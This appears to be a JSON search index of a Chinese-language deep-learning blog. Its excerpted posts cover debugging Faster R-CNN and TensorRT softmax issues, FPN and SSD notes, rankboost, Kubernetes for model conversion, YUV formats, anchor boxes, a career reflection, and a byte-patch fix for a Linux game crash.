Blob","type":"post"},{"categories":["deep-learning","计算机视觉"],"content":"问题描述 # 一年debug 三次faster rcnn,每次都有新感觉（不 接到一个bug report,现象为某人脸模型，转换成trt模型，当batch size为1时结果完全正确，但是batch size大于1时结果不正确。 具体的现象是，如果跑多张不同的图，只有第一张图有结果，后面的图都没有结果。 如果跑的图中有相同的，那么和第一张相同的图都会有结果，其余的图没有结果。 1layer { 2 name: \"POD_proposal\" 3 type: \"RPRoIFused\" 4 bottom: \"Reshape_105\" 5 bottom: \"Conv_100\" 6 bottom: \"Add_95\" 7 bottom: \"im_info\" 8 top: \"rois\" 9 top: \"tmp_pooling\" 10 rpn_proposal_param{ 11 feat_stride: 16 12 anchor_ratios: 1 13 anchor_scales: 1 14 anchor_scales: 2 15 anchor_scales: 4 16 anchor_scales: 8 17 anchor_scales: 16 18 anchor_scales: 32 19 test_desc_param { 20 rpn_pre_nms_top_n: 2000 21 rpn_post_nms_top_n: 50 22 rpn_min_size: 16 23 rpn_nms_thresh: 0.7 24 } 25 } 26 27 roi_pooling_param{ 28 pooled_h: 7 29 pooled_w: 7 30 spatial_scale: 0.0625 31 32 } 33} 特别地，proposal layer中 rpn_post_nms_top_n的参数值如果使用默认的300,那么结果都是对的。把这个值改小（只要小于300)，结果就像上面所述。 debug 经过 # 首先根据rpn_post_nms_top_n的值一修改，结果就是错的来看，怀疑是哪里参数写死了。 然而很快就排除了这个问题。因为faster rcnn的模型已经在另一个产品中经过长期验证了。 而且proposal layer是tensorrt自己实现的，有bug早就有人发现了。 然后根据batch size为1时结果正确，但是batch size大于1时结果错误来看，怀疑是proposal layer前面rpn做的softmax的维度 不太对。 因为rpn前景和背景的得分有两种不同的排列方式 可能是 1+ + + + + + 2- - - - - - 也可能是 1+ - + - + - 2+ - + - + - 其中‘+’代表前景，‘-’代表背景。 前者的排列方式在softmax前的维度应该是 N×2×A×H×W 后者的排列方式在softmax前的维度应该是 N×A×2×H×W 其中N为batch size,A为anchor的个数。 排查发现pytorch模型的输出是后者的排列方式，而tensorrt proposal layer期望的排列方式是前者，也就是N×2×A×H×W 所以在做softmax之前要先permute 一下 1 2layer { 3 name: \"tmp_add_for_continue\" 4 type: \"Permute\" 5 bottom:\"Reshape_102\" 6 top:\"tmp_add_for_continue\" 7 permute_param { 8 order: 0 9 order: 2 10 order: 1 11 order: 3 12 } 13} 14 15layer { 16 name: \"Softmax_103\" 17 type: \"Softmax\" 18 bottom: \"tmp_add_for_continue\" 19 top: \"Softmax_103\" 20 softmax_param { 21 axis:1 22 } 23} 但是。。这里，之前已经做了啊。。。 就是说其实已经考虑到前景背景排列不一致的问题了。。。 然后根据一个batch中，和第一张图片相同的图片也是有结果的。。 怀","date":"2019-12-13","externalUrl":null,"permalink":"/2019/12/debug-faster-rcnn-once-again/","section":"Posts","summary":"问题描述 # 一年debug 三次faster rcnn,每次都有新感觉（不","tags":["faster-rcnn"],"title":"记一次faster-rcnn debug记录","type":"post"},{"categories":["deep-learning","计算机视觉"],"content":"检测不同尺度的物体一直是计算机视觉领域中比较有挑战性的事情．我们先从之前的工作出发，并对比FPN比起之前的工作有哪些改进． 之前的工作 # Featurized image pyramid # 思路是对于同一张图，生成不同的scale，然后每个scale的image单独去做检测． 这个方法是手工设计feautre时代的常用办法． 这个办法是比较显然的，也的确可以解决检测不同尺度物体的问题． 缺点非常明显…inference的速度几乎和scale的个数线性相关． 以及由于显存的开销，没办法做end-to-end 的training. Single feature map # 再之后，手工设计的feature逐渐被由CNN生成的feature取代了． 这种办法更加鲁棒，对image的一些变化不敏感． 但是如果只有一个scale 的图片去过这个feature map,只有最终的feature map去做predict..准确率不太行．．因此还是要与Featurized image pyramid一起．只是优化了得到feature 的部分． Pyramidal feature hierarchy # 就..CNN本身就有显然的层次结构啊．．． 为什么不直接拿来用，而是提前scale image呢．．． 也就是选若干个feature map直接去做predict.. 这个办法美滋滋，既有多个feature map保证了一定的准确率，同时也没有增加很多inference的cost. SSD应该是率先使用这种方法的． 但是这种办法仍然有不足之处，就是低层的高分辨率的feature map的semantics 太弱了．． 这就导致说对小物体的检测效果不太理想．．． 那么该怎么办呢．．．这时候就该介绍FPN啦 Feature Pyramid Networks # 后面再更． FPN 用于 faster rcnn # FPN同时作用于RPN阶段和fast-rcnn detector 以下的代码实现出自　fpn.pytorch FPN 作用于RPN # 感觉直接上代码比较容易理解 先看　整个网络的forward函数 1 2 3 def forward(self, im_data, im_info, gt_boxes, num_boxes): 4 batch_size = im_data.size(0) 5 6 im_info = im_info.data 7 gt_boxes = gt_boxes.data 8 num_boxes = num_boxes.data 9 10 # feed image data to base model to obtain base feature map 11 # Bottom-up 12 c1 = self.RCNN_layer0(im_data) 13 c2 = self.RCNN_layer1(c1) 14 c3 = self.RCNN_layer2(c2) 15 c4 = self.RCNN_layer3(c3) 16 c5 = self.RCNN_layer4(c4) 17 # Top-down 18 p5 = self.RCNN_toplayer(c5) 19 p4 = self._upsample_add(p5, self.RCNN_latlayer1(c4)) 20 p4 = self.RCNN_smooth1(p4) 21 p3 = self._upsample_add(p4, self.RCNN_latlayer2(c3)) 22 p3 = self.RCNN_smooth2(p3) 23 p2 = self._upsample_add(p3, self.RCNN_latlayer3(c2)) 24 p2 = self.RCNN_smooth3(p2) 25 26 p6 = self.maxpool2d(p5) 27 28 rpn_feature_maps = [p2, p3, p4, p5, p6] 29 mrcnn_feature_maps = [p2, p3, p4, p5] 30 31 rois, rpn_loss_cls, rpn_loss_bbox = self.RCNN_rpn(rpn_","date":"2019-12-08","externalUrl":null,"permalink":"/2019/12/feature-pyramid-networks/","section":"Posts","summary":"检测不同尺度的物体一直是计算机视觉领域中比较有挑战性的事情．我们先从之前的工作出发，并对比FPN比起之前的工作有哪些改进．","tags":["feature-pyramid-networks","FPN"],"title":"FPN:Feature Pyramid Networks 学习笔记","type":"post"},{"categories":["deep-learning","计算机视觉"],"content":"概述 # SSD是一种单阶段目标检测算法．所谓单阶段，是指只使用了一个deep neural network,而不是像faster-rcnn这种两阶段网络． 为什么有了faster-rcnn还要使用SSD? 最主要是慢… 两阶段网络虽然准确率高，但是在嵌入式等算力不足的设备上做inference速度非常感人，很难达到real time的要求． （实际业务上也是这样，公有云上的检测模型几乎都是faster-rcnn,而到了一些盒子之类的硬件设备，检测模型就全是SSD等single stage 模型了) 之前一直没有写SSD是因为相比faster rcnn的细节，SSD的问题似乎并不是很多．直到最近转模型的时候被FASF模型的一个细节卡了蛮久，因此决定还是记录一下． 基本概念 # 这部分描述SSD中涉及到的一些想法． prior box # prior box的概念其实与faster-rcnn中anchor的概念是一样的，没有本质区别． 与faster-rcnn中的anchor不同的是，SSD会在多个feature map中的每个cell 都生成若干个prior_box. 对于一个特定的feature map,尺寸为m*n,假设有k个prior box,c种类别． 那么feature map的每个location会生成 k*(c+4) 个结果，其中c代表每一类的confidence. ４代表相对prior_box中心点的offset. 整个feature_map会生成　kmn(c+4) 个结果． prior_box的参数选择,以及一些训练有关的细节可以参考原论文,这里不再赘述. 这里主要想强调一下和priox box有关的inference 细节. 主要是decode box的部分. 由于模型输出的bbox其实是相对每个prior_box的offset,不是真正的bbox,因此需要由网络输出的box_pred和prior box得到真正的bbox 坐标.这部分通常称为decode box,其实已经算是后处理部分了. pytorch中decode box的代码如下: 1 variance1, variance2 = variance 2 cx = box_prior[:, :, 3 0] + box_pred[:, :, 0] * variance1 * box_prior[:, :, 2] 4 cy = box_prior[:, :, 5 1] + box_pred[:, :, 1] * variance1 * box_prior[:, :, 3] 6 w = box_prior[:, :, 2] + torch.exp(box_pred[:, :, 2] * variance2) 7 h = box_prior[:, :, 3] + torch.exp(box_pred[:, :, 3] * variance2) 8 x1 = cx - w / 2 9 y1 = cy - h / 2 10 x2 = w + x1 11 y2 = h + y1 不考虑variance的话,box_prior存储的四个数据按顺序分别为cx,cy,w,h 也就是prior_box的中心点坐标(cx,cy)以及宽和高. 而variance是一个原始paper中没有提到的实现细节. 按照 What is the purpose of the variances? 的说法, Probably, the naming comes from the idea, that the ground truth bounding boxes are not always precise, in other words, they vary from image to image probably for the same object in the same position just because human labellers cannot ideally repeat themselves. Thus, the encoded values are some random values, and we want them to have unit variance t","date":"2019-12-08","externalUrl":null,"permalink":"/2019/12/single-short-detector/","section":"Posts","summary":"概述 # SSD是一种单阶段目标检测算法．所谓单阶段，是指只使用了一个deep neural network,而不是像faster-rcnn这种两阶段网络． 为什么有了faster-rcnn还要使用SSD? 最主要是慢… 两阶段网络虽然准确率高，但是在嵌入式等算力不足的设备上做inference速度非常感人，很难达到real time的要求． （实际业务上也是这样，公有云上的检测模型几乎都是faster-rcnn,而到了一些盒子之类的硬件设备，检测模型就全是SSD等single stage 模型了)","tags":["SSD","single state detector"],"title":"SSD: Single Shot MultiBox Detector 学习笔记","type":"post"},{"categories":["deep-learning"],"content":"boosting 算法是什么． # 机缘使然，接触到了 Boosting 算法．Boosting是一种通过组合弱学习器来产生强学习器的通用且有效的方法. 动机是基于如下观察:尽管委员会中每个成员只提供一些不成熟的判断,但整个委员会却产生较为准确的决策。通过组合多个弱学习器来解决学习问题。给定训练数据,弱学习算法(如决策树)可以训练产生弱学习器,这些弱学习器只需要比随机猜测的准确率好一些。用不同的训练数据训练可以得到不同的弱学习器。这些弱学习器作为委员会成员,共同决策。 ranking task是什么 # 此处的ranking task指的的pairwise ranking 排名(ranking)的学习问题出现在许多现代应用程序中，包括搜索引擎，信息提取平台和电影推荐系统的设计。 在这些应用程序中，返回文档或电影的顺序是系统的关键方面。 在二进制情况下，对分类进行排名的主要动机是资源的限制：对于非常大的数据集，显示或处理由分类器标记为相关的所有项目可能是不切实际的，甚至是不可能的。 搜索引擎的标准用户不愿意查询响应查询而返回的所有文档，而只查询前十名左右。 同样，信用卡公司欺诈检测部门的成员不能调查被分类为潜在欺诈的数千笔交易，而只能调查几十个最可疑的交易。 所以到底什么才是一个ranking task呢? ranking task是一种有监督学习，通过label 信息，来对所有的数据点做出排名的预测．这里的label是一种关系信息，与数据点对一一对应的．设label函数为f,一般来说，假设有数据点x1,x2,那么有 1f(x1,x2) = 1 if x1 ranks higher than x2 2f(x1,x2) = -1 if x1 ranks lower than x2 3f(x1,x2) = 0 if there is no enough info to compare x1 and x2 需要注意的是，通常来说label并没有传递性．也就是说，从f(x1,x2) = 1和　f(x2,x3) =1 并不能推断出f(x1,x3) = 1.原因是在比较x1,x2,x3时，可能使用了不同的feature(通俗的解释就是，我喜欢A胜过B是因为A比B有钱，我喜欢B胜过C是因为B比C可爱，但是我可能因为其他原因喜欢C胜过A) rankboost 算法 # 字面理解，rankboost算法就是将boosting算法用于pairwise ranking task. 该过程的伪代码为: 要注意的是算法的输入为 1S=((x1,x1',y1),...(xm,xm',ym)) 其中　(x1,x1’)为一个pair,y1为与这个pair对应的label. 这与传统的分类，回归问题明显不同．　前者是每一个数据对应一个label,但是后者是每一个pair对应一个label. 可能需要对数据做一些预处理． 一般来说，对于n个数据样本，并不会直接生成n*n个pair，而是从中随机生成指定个数个pair. 此时 Bipartite ranking # Bipartite ranking是pairwise ranking task中一种特殊的情形． 在这种情形下，样本被分为不相交的正负两部分 ranking问题变成了使得正样本的rank高于负样本． 对于这个情形，算法的输入变为 1S+ =(x1',x2',...,xm') 2S- =(x1,x2,...,xn) 没有了label.原因是正负样本的集合本来就暗含了label信息． 如果直接按照一般的rankboost算法实现，复杂度是O(n*m)的，其中m和n为正负样本的个数． 但是通过一种高效的实现，复杂度可以降低为O(m+n) 这种实现基于算法的目标函数是指数函数，指数函数是积性函数． 因此可以将目标函数分为正负样本两部分分别计算，每部分只与自身相关． 具体的证明可以参考\"Foundations of Machine Learning\" 9.5节． 该高校实现的伪代码为: 参考资料 # An Efficient Boosting Algorithm for Combining Preferences Foundations of Machine Learning Intuitive explanation o","date":"2019-11-26","externalUrl":null,"permalink":"/2019/11/rankboost-Algorithm/","section":"Posts","summary":"boosting 算法是什么． # 机缘使然，接触到了 Boosting 算法．Boosting是一种通过组合弱学习器来产生强学习器的通用且有效的方法.","tags":["boosting"],"title":"rankboost 算法学习笔记","type":"post"},{"categories":["deep-learning","计算机视觉"],"content":"年中的时候接了离职的同事模型转换的锅，在不断地更新迭代的过程中，发现了一些痛点。 发现k8s能够解决一部分痛点，因此来分享一下在这方面的探索。 什么是模型转换 # 简单来说，深度学习模型的流程分为training和inference两部分。训练时用的一般是pytorch等框架，这些框架训练出的model是没办法直接部署在各个硬件平台上做inference的。因此需要将使用训练框架得到的模型，转换为能够部署到各个硬件平台上的模型。这个过程就是模型转换。 模型转换的一般流程为，先将pytorch等训练框架训练得到的模型转换为caffe model（是的，caffe才是业界中间表示的事实标准，而不是号称支持所有框架中间表示的onnx)，再将caffe model 转换到各种硬件上（包括但不限于nvidia系列显卡，华为的海思系列设备等） （事实上这个转换流程是有硬伤存在的，这个硬伤在于pytorch的模型权重和模型结构是分离的。调研过业界一些其他模型转换的解决方案，包括百度的X2Paddle,其做法是不把pytorch模型作为模型转换的起点，而是从caffe model/onnx model 开始转换。还调研过微软的MMdnn,里面似乎也没有提到这个问题。不知道pytorch 1.0版本新增的torchscript是不是一条出路…) 模型转换的痛点 # 最初模型转换的痛点是依赖比较多，从pytorch,onnx,caffe再到tensorrt,cuda等．　尤其编译caffe,又是出了名的坑多．　解决办法是用了docker,将所有环境封装好．这样其他人可以直接拉镜像下来进行模型转换． 然而，在用了docker之后，还是有其他痛点，主要是以下三个: 权限申请的繁琐． caffe模型转换到不同硬件上（主要是nvidia显卡），需要在对应的机器上进行转换．通常是客户确定使用某型号的显卡，然后我们采购对应显卡的机器．接下来需要一系列权限申请，包括服务器的权限，docker命令的权限，以及docker镜像仓库的权限．　除此之外，用户还需要将模型文件从其他位置放置到新服务器上，这件事也非常麻烦． docker 镜像的版本控制. docker的image虽然可以打tag，但是这个tag几乎对版本控制没有帮助．由于模型转换工具更新频繁（包括但是不限于，添加新的op/layer,caffe对新显卡的编译支持，caffe2tensorrt工具的更新），这么弱的版本管理就是灾难．如果我们对于每次升级docker image,都使用一个新的tag来标记的话，docker似乎没有一个机制来通知这个新的tag的存在．用户还是可以在这个旧的镜像上用到天荒地老．如果复用之前的tag的话,同样，用户还是可以不更新． 对docker commit 的滥用． 本来docker image的大小只有7G+,但是由于用户非常钟爱docker cp命令以及docker commit 命令．曾经有用户把整个数据集都docker cp进去之后docker commit ..　然后现在镜像大小已经有35G了．． 上述几个痛点，恰好k8s可以比较好的解决． k8s用于模型转换. # 官方的说法是,k8s是一个生产级别的容器编排系统，用于容器化应用的自动部署、扩缩和管理 然而似乎我对k8s的使用是非常非主流的(其实对docker的使用也很非主流…) 不过我觉得没有规定一项技术只能用来做什么,只要解决的问题多于引入的问题,就可以尝试. k8s的引入使得用户不再能直接接触到docker image. 这直接解决了第一和第三两个痛点. 以及可以使用 imagePullPolicy 来进行强制更新,也基本解决了版本控制的问题. 这样就不用天天push 其他用户\" 你先docker pull一下\"… 此外,k8s的label机制也很有用. 我们可以通过给node打上不同显卡型号的label.然后维护一个显卡的列表.这样用户不再需要知道哪台服务器上有哪个显卡,只需要添写显卡型号,k8s就可以分配一台对应的机器供用户进行模型转换. 不过实际上k8s用户模型转换也有一些缺点: k8s对显卡的调度是对于pod(pod就是一组container)独占的.也就是说,在一台服务器上,通过k8s只能开启与显卡个数一样多","date":"2019-11-22","externalUrl":null,"permalink":"/2019/11/K8s-for-Model-Conversion/","section":"Posts","summary":"年中的时候接了离职的同事模型转换的锅，在不断地更新迭代的过程中，发现了一些痛点。 发现k8s能够解决一部分痛点，因此来分享一下在这方面的探索。","tags":["model-convertor","docker","k8s"],"title":"Kubernetes(k8s)在深度学习模型转换方面的探索","type":"post"},{"categories":["deep-learning","计算机视觉"],"content":"最近有同事report给我们,用同一个模型转换工具,转同一个faster rcnn 模型, 同样的sdk代码,在有些显卡上结果正常,但是再比较新的显卡上(比如Titan V)上 结果完全不正确. 听说之后我的内心其实是 **喵喵喵喵喵?**的 先在模型转换工具中infer了一下,发现…结果竟然真的不一样! 于是又开始了debug faster rcnn 的旅程(奇怪..我为什么要说又) 一份典型的faster rcnn 的 prototxt 按照经验,我们先对照了ROIS,来判断RPN 是否存在问题 惊讶地发现,竟然是没有问题的… 那看一下模型的输出 cls_score 和 bbox_pred好了 发现cls_score 完全对不上,bbox_pred 倒是没问题… 这和之前遇到的情况不太一样啊… 从proposal layer 到 最后… 全都是些很常见的layer… 哪里会有问题呢… 最终发现有问题的layer 是softmax! cls_score 的维度应该为 N*K*C*H*W softmax应该按照C这一维度来做,因此softmax_param中axis应该为2. 查阅\"tensorrt support matrix\" ，发现 tensorrt5中，softmax会按照用户指定的维度进行。 而对于tensorrt4.0, softmax layer 与设定的softmax_param无关，只会在channel 的维度上来做softmax. 所以，比较好的解决办法是，干脆不写softmax_param这个参数 对于trt4，会直接按照channel 维度来做 对于trt5，会在第N-3的axis上进行。对于SSD的 N*C*H*W或者 faster rcnn 的N*K*C*H*W, N-3都是channel所在的维度。 问题解决！","date":"2019-11-07","externalUrl":null,"permalink":"/2019/11/debug-Frcnn-Model-When-Upgrading-From-Tensorrt4-to-Tensorrt5/","section":"Posts","summary":"最近有同事report给我们,用同一个模型转换工具,转同一个faster rcnn 模型, 同样的sdk代码,在有些显卡上结果正常,但是再比较新的显卡上(比如Titan V)上 结果完全不正确.","tags":["faster-rcnn"],"title":"faster rcnn 模型 tensorrt4与tensorrt5 结果不一致 踩坑记录","type":"post"},{"categories":["mooc"],"content":"花了三个月的时间,终于跟完了这门编程语言课. 课程内容非常赞,而且也充分发挥了coursera平台的作用. 非要说缺点的话,就是这门课时间有点短,以及peers’ assignments总是找不到人… 这么课是什么 # 这门课并不是在讲一门特定的编程语言,而是在讲一些通用的编程语言概念. 课程本身大体上上分为三部分,分别结合sml,racket,ruby三门语言来讲. 每部分大体先是视频内容(有同样内容的文字pdf,便于查询),然后要完成一项作业(10节中有8节是编程作业,2节是多选题的笔试) 作业过后,是备受好评的(?) peers’ assignments的环节. 不过由于每个人的作业只能被其他三个人评分…所以如果没有对3个同学做过code review的话,需要经常上来看看有没有新的人提交作业了… 我的体会 # 作业难度不算高,每门作业最开始的题目感觉稍微有点难度,不过大体是因为还不太熟悉一门新的语言,热身之后,后面的题目都比较容易了. 按照Grossman的说法,最难的是第二部分课程中用racket写一个简单的语言解释器.不过实际写起来其实还好,就是一个代码量不到200行的大模拟,难度感觉并不比其他部分的作业更难. 比较有意思的作业感觉反而是第三部分那个,用OOP和functional的方法实现同样的计算几何…用函数式写几何题好舒服啊… 这么课应该没有什么必须的前置技能点,因为课程中涉及的语言反正也没什么人学过(?),所以有过编程经验应该就可以跟? 以及,感觉这应该算是CS中比较核心的课程了,可是国内的高校似乎很少有开相关的课程? 有点可惜. 总之安利一波~ 最后附上我的代码链接: github CSE341","date":"2019-10-19","externalUrl":null,"permalink":"/2019/10/The-Programming-Language-Course/","section":"Posts","summary":"花了三个月的时间,终于跟完了这门编程语言课. 课程内容非常赞,而且也充分发挥了coursera平台的作用. 非要说缺点的话,就是这门课时间有点短,以及peers’ assignments总是找不到人…","tags":["CS341"],"title":"The Programming Language Course","type":"post"},{"categories":["其他"],"content":"概述 # YUV是一种图像编码方式,或者称为色彩空间,与RGB是同级的概念. YUV是三个分量,Y,U和V,其中: Y 表示明亮度(Luminance或Luma),也就是灰度值, U,V表示色度,浓度（Chrominance、Chroma）,可以简单理解成用来表示某个像素的颜色的量. YUV格式的特点是,在对照片或影片编码时，考虑到人类的感知能力，允许降低色度的带宽。 也就是说,YUV不像RGB那样要求三个独立的视频信号同时传输，所以用YUV方式传送占用极少的频宽。 其中YCbCr是YUV压缩和偏移的版本。YCbCr的Y与YUV中的Y含义一致，Cb和Cr与UV同样都指色彩，Cb指蓝色色度，Cr指红色色度，在应用上很广泛，JPEG、MPEG、DVD、摄影机、数字电视等皆采此一格式。因此一般俗称的YUV大多是指YCbCr。 YUV采样方式 # 主流的采样方式有三种: 其中Y 分量用叉表示，UV 分量用圆圈表示。 YUV4:4:4 YUV4:2:2 YUV4:2:0 下面三张图分别为YUV444,YUV422和YUV420的采样方式. 但是注意,上面的三张图只是说明了每个分量的比例,并不能说明排列方式. 需要注意的是yuv420并不是说只采样U分量或者只采样V分量,而是指，在每一行扫描时，只扫描一种色度分量（U 或者 V），和 Y 分量按照 2 : 1 的方式采样。比如，第一行扫描时，YU 按照 2 : 1 的方式采样，那么第二行扫描时，YV 分量按照 2:1 的方式采样 YUV封装格式 # 采样方式主要是告诉我们各个分量的比例,下面看一下封装格式. YUV格式有两大类：planar和packed。 planar: 先连续存储所有像素点的Y，紧接着存储所有像素点的U，随后是所有像素点的V。 packed: 每个像素点的Y,U,V是连续交错存储的。 其中,planar格式还分为SEMI PLANAR和PLANAR semi planar:先连续存储所有的Y, 然后UV交错存储. planar:先连续存储所有像素点的Y，紧接着存储所有像素点的U，随后是所有像素点的V。 以YUV420为例,前面的图为平面的封装格式,也就是YUV420P(Planar) 后面的图为半平面的封装格式,也就是YUV420SP(semi planar) 或者以1920*1080的图片具体举例: 左边的图为平面的封装格式,也就是YUV420P(Planar) 右边的图为半平面的封装格式,也就是YUV420SP(semi planar) YUV格式的名称,傻傻分不清楚 # 由于最近使用的YUV420格式的,因此主要会涉及这一种. YUV420分为YUV420P和YUV420SP两种. 其中YUV420P又有两种,一种是Y(w×h) + U(w×h/4) + V(w×h/4)的格式,这一种也叫I420或者420P或者IYUV(存疑,参考opencv convert_color函数文档) 另一种是Y(w×h) + V(w×h/4) + U(w×h/4)的格式,这一种也叫YV12 YUV420SP也分两种,分别是NV12和NV21. 其中NV12的格式为: Y(w×h) + UV(w×h/4) NV21的格式为: Y(w×h) + VU(w×h/4) YUV格式转BGR格式 # 方法有很多,可以直接用公式转. 这里介绍一种借助opencv的比较简单可行的办法 方法是读入时按照二进制文件的方式读入YUV文件, 然后使用opencv的 cvtColor 函数. 1Mat mYUV(height + height/2, width, CV_8UC1, (void*) frameData); 2Mat mRGB(height, width, CV_8UC3); 3cvtColor(mYUV, mRGB, CV_YUV2RGB_YV12, 3); 小结 # 由于最近遇到的是YUV420的图片格式,所以虽然题目叫YUV格式初探,但是没怎么涉及到其他YUV格式,可能以后有机会补充吧. 放一个表格,懒得一点一点写了,直接贴了其他人博客的截图 参考链接 # YUV格式的说明 一文读懂 YUV 的采样与格式 How to read a frame from YUV file in OpenCV?","date":"2019-07-03","externalUrl":null,"permalink":"/2019/07/Yuv-Image-Format/","section":"Posts","summary":"概述 # YUV是一种图像编码方式,或者称为色彩空间,与RGB是同级的概念. YUV是三个分量,Y,U和V,其中:","tags":["yuv image format","图像处理"],"title":"yuv 图像格式初探","type":"post"},{"categories":["deep-learning","计算机视觉"],"content":"动机 # 将一张图分成多个grid cell进行检测之后,每个cell只能检测到一个object. 如果这个grid cell中不止有一个物体要怎么办呢? 因此提出了anchor box algorithm来解决这个问题. 什么是anchor # anchor其实就是一组预设的参考框,每个框有不同的长宽比和大小. 提供参考框可以将问题转换为\"这个固定参考框中有没有认识的目标，目标框偏离参考框多远\". 这样如果一个grid cell中有多个物体,那么就可以形状最姐姐的anchor box来负责检测该物体. anchor的其他用途 # 实际上当grid cell很多的时候,一个grid cell中有多个object的情况是很少的.但是anchor box仍然是十分重要的.因为我们可以通过预设一些特殊的anchor box,来帮助检测到一些极端形状的物体(比如很长的物体或者很宽的物体) 输出结果 # 有了anchor之后,每个grid cell的输出可能不再唯一. 于是从之前的每个grid cell对应一个输出结果,变成了每个二元组(grid_cell,anchor box)对应一个结果. 结果的格式呢,一图胜千言: 局限性 # 由于anchor box是要预设的,那么如果我只预设了两个anchor box,但是一个grid cell中有三个object,怎么办呢? 很遗憾,是没有办法的. 另外一个case是,如果两个object都与其中一个anchor的形状最为接近,也是没有办法检测出两个物体的. anchor box的生成 # 最初anchor box是通过人手工设定的,之后的YOLO的paper中提出了使用k-means的算法来生成anchor box.","date":"2019-07-01","externalUrl":null,"permalink":"/2019/07/Anchor-Box-Algorithm/","section":"Posts","summary":"动机 # 将一张图分成多个grid cell进行检测之后,每个cell只能检测到一个object. 如果这个grid cell中不止有一个物体要怎么办呢? 因此提出了anchor box algorithm来解决这个问题.","tags":["Object Detection","Anchor box"],"title":"Anchor Box Algorithm","type":"post"},{"categories":["deep-learning","计算机视觉"],"content":"对象检测（Object Detection）的目的是”识别对象并给出其在图中的确切位置”，其内容可解构为三部分： 识别某个对象（Classification）； 给出对象在图中的位置（Localization）； 识别图中所有的目标及其位置（Detection）。 本文将介绍滑动窗口这一方法. 滑动窗口 # 滑动窗口是这些方法中最暴力的一个.简单来说,就是暴力枚举侯选框的尺寸和位置,每次crop得到一张小图,将每个小图送进后面的分类器进行分类. 早年后面通常会接一个计算量比较小的分类器,比如SVM,随着算力的提升,现在常常后面会接CNN. 值得一提的是,原始的滑动窗口方法是将每个小图,分别放入后面的分类器.但是实际上,小图和小图之间,是有overlap的,也就是说做了很多重复的计算. 因此一个显然的改进是使用CNN来实现滑动窗口算法, 这种方法的优点是比较无脑,实现和理解起来都很简单.缺点是计算量还是比较大. 参考链接 # Sliding Windows for Object Detection with Python and OpenCV 深度学习基础 - 对象检测（滑窗、CNN、YOLO）","date":"2019-06-30","externalUrl":null,"permalink":"/2019/06/sliding-windows/","section":"Posts","summary":"对象检测（Object Detection）的目的是”识别对象并给出其在图中的确切位置”，其内容可解构为三部分：","tags":["sliding Windows","Object Detection"],"title":"目标检测领域的滑动窗口算法","type":"post"},{"categories":[],"content":"转眼毕业一整年了，是时候做一个复盘了。 依稀记得刚入职的时候leader提醒我要有职业规划时的场景。总体来说，这一年虽然没有完全走在最正确的路线上，但是大方向应该没有太偏。 工作之中 # 其实前半年做的事情非常杂，c++,java,爬虫，前端… 技术的广度和深度，我个人觉得是深度更重要的。 但是在规模不够大的公司，很多时候不得已去现学一些个人技术栈以外的东西。好在后半年以及之后的工作都会比较focus. 总体来说，这一年里主要是如下技能得到了一些提升： c++/cuda 图像编解码 CV算法 还点了一些奇奇怪怪的技能点，我觉得算不上什么竞争力，就不写了。 工作之外 # 这一年里，工作之外，主要做了两个方面的事情。 第一个方面补了一下计算机专业课，主要是操作系统和计算机网络。具体来说，看完了\"自顶向下方法\"，还有\"OS:Three easy pieces\",MIT 的6.828做了一部分。 补这部分的内容是因为它们很重要,而我在学校的时候又没怎么听过课。没听课是因为当时沉迷ACM，而且觉得学院课程的质量和深度都不够理想。 第二个方面是学了更多的CV相关的知识。最开始的想法是，身边的同事好多是CS名校的Phd,又在CV领域有着丰富的经验，如果在商汤的职业生涯中，没能在这方面取得比较大的收货，其实是有点亏的。但是后来发现，这其实对我的工作也很有帮助。所以可能并不是一个任务来了之后，才发现去要学习什么，而是技术栈变宽了之后，才有机会做以前没机会做的任务吧。 一些其他感悟 # 毕业之前觉得，代码能力是很重要的能力。现在觉得，某个领域的知识和经验才是核心，代码能力只是锦上添花。 对我而言，职业初期，最不重要的其实是薪水。最重要的是个人成长，其次是职业声誉的积累，最后才是薪水吧。当然个人成长其实是一个很难衡量的东西，我觉得并不是学会了之前不会的东西就是成长，只有掌握了与主线有关的内容才是成长。 至于主线是什么呢，目前希望能在系统优化和CV算法两个方面获得一些收获。 结语 # 工作一年，整体体验还是非常好的。 感觉比起在学校的日子要开心得多，因为在学校还要应付奇奇怪怪，没什么用的考试，而在公司，可以比较纯粹得学习技术，并用新学到的东西解决一个又一个问题，非常有成就感。 工作上虽然说不上顺风顺水，但是也没遇到过什么大的困难。 虽然要学习好多新的内容，但是ICPC的经历是会给人很多信心的（虽然我很菜），那就是只要时间充足，没有什么学不会的东西。当然，能学会的东西未必值得去学，不过迫于生计嘛，有的时候也是没办法的事情。 新的周期，加油！","date":"2019-06-29","externalUrl":null,"permalink":"/2019/06/one-yeaf-after-graduation/","section":"Posts","summary":"转眼毕业一整年了，是时候做一个复盘了。 依稀记得刚入职的时候leader提醒我要有职业规划时的场景。总体来说，这一年虽然没有完全走在最正确的路线上，但是大方向应该没有太偏。","tags":["随笔杂谈"],"title":"写在毕业一年之后","type":"post"},{"categories":["随笔杂谈"],"content":"发现工作之后更新博客的频率低了很多，以及迫于不想在自己维护服务器了，因此决定把博客迁移到hugo上。 由于原本的博客内容实在是太多了，因此目前只做了大致的迁移，基本可以保证每篇文章都是可以访问的。 原博客 在2023年之前应该仍然可以访问，不过会逐步停止维护。","date":"2019-06-01","externalUrl":null,"permalink":"/2019/05/hello-hugo/","section":"Posts","summary":"发现工作之后更新博客的频率低了很多，以及迫于不想在自己维护服务器了，因此决定把博客迁移到hugo上。","tags":["hugo"],"title":"迁移博客到hugo","type":"post"},{"categories":["随笔杂谈"],"content":"在steam上买了　BattleBlock Theater，　官方说支持linux，但是却无法启动。 在steam里启动看不到log,于是找到游戏的安装目录。 /home/coder/.steam/steam/steamapps/common/BattleBlock Theater 在终端下启动，报错: BattleBlockTheater: /media/BGBS/BBT_Linux/Core/MemorySystem.cpp:161: void* MemoryBlock::Alloc(unsigned int): Assertion `(!“Got request for zero bytes!”)’ failed. ^C[1] 22303 abort (core dumped) ./BattleBlockTheater google了一下发现这似乎是游戏本身的bug,这里有一个workaround 办法是使用hex editor将游戏的可执行文件中， 从offset 0x24F2BE 开始的6个字节替换成0x90 我使用的hex editor 是hexcurse,　这里有一个使用指南　可以参考。","date":"2019-05-01","externalUrl":null,"permalink":"/2019/05/battleblock-theater-linux-start-failed/","section":"Posts","summary":"在steam上买了　BattleBlock Theater，　官方说支持linux，但是却无法启动。","tags":["steam","游戏"],"title":"BattleBlock Theater linux下无法启动的解决办法　（　void* MemoryBlock::Alloc(unsigned int): Assertion failed 